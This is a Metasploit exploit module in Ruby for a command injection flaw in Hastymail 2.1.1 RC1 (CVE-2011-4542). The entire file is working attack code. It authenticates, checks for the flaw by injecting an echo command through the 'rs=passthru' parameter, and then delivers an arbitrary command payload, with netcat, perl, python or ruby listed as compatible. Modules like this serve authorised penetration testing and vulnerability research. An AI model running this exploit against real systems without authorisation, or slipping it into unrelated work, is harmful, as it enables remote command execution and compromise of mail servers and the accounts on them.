## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => "Hastymail 2.1.1 RC1 Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Hastymail 2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on the "lib/ajax_functions.php" script. Authentication is required on Hastymail in order to exploit the vulnerability. The module has been successfully tested on Hastymail 2.1.1 RC1 over Ubuntu 10.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bruno Teixeira', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-4542' ], [ 'BID', '50791' ], [ 'OSVDB', '77331' ], [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python netcat netcat-e', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Hastymail 2.1.1 RC1', {}] ], 'Privileged' => false, 'DisclosureDate' => '2011-11-22', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]), OptString.new('USER', [true, "The username to authenticate with", ""]), OptString.new('PASS', [true, "The password to authenticate with", ""]) ] ) end def check @uri = normalize_uri(target_uri.path) @uri << '/' if @uri[-1, 1] != '/' @session_id = "" login if not @session_id or @session_id.empty? vprint_error "Authentication failed" return Exploit::CheckCode::Unknown end test = rand_text_alpha(rand(4) + 4) data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=echo #{test}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'data' => data }) if res and res.code == 200 and res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}?page=login", 'vars_post' => { 'user' => datastore['USER'], 'pass' => datastore['PASS'], 'login' => 'Login' } }) if res and res.code == 303 @session_id = res.get_cookies print_good("Authentication Successful") end end def exploit @uri = normalize_uri(target_uri.path) @uri << '/' if @uri[-1, 1] != '/' @session_id = "" print_status "Trying login" login if not @session_id or @session_id.empty? print_error "Authentication failed" return end print_good "Authentication successfully, trying to exploit" data = "rs=passthru&" data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&" data << "rsargs[]=#{payload.encoded}" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@uri}", 'Cookie' => @session_id, 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) }, 'data' => data }) if not res or res.code != 200 or not res.body =~ /\+/ print_error "Exploitation failed" return end end end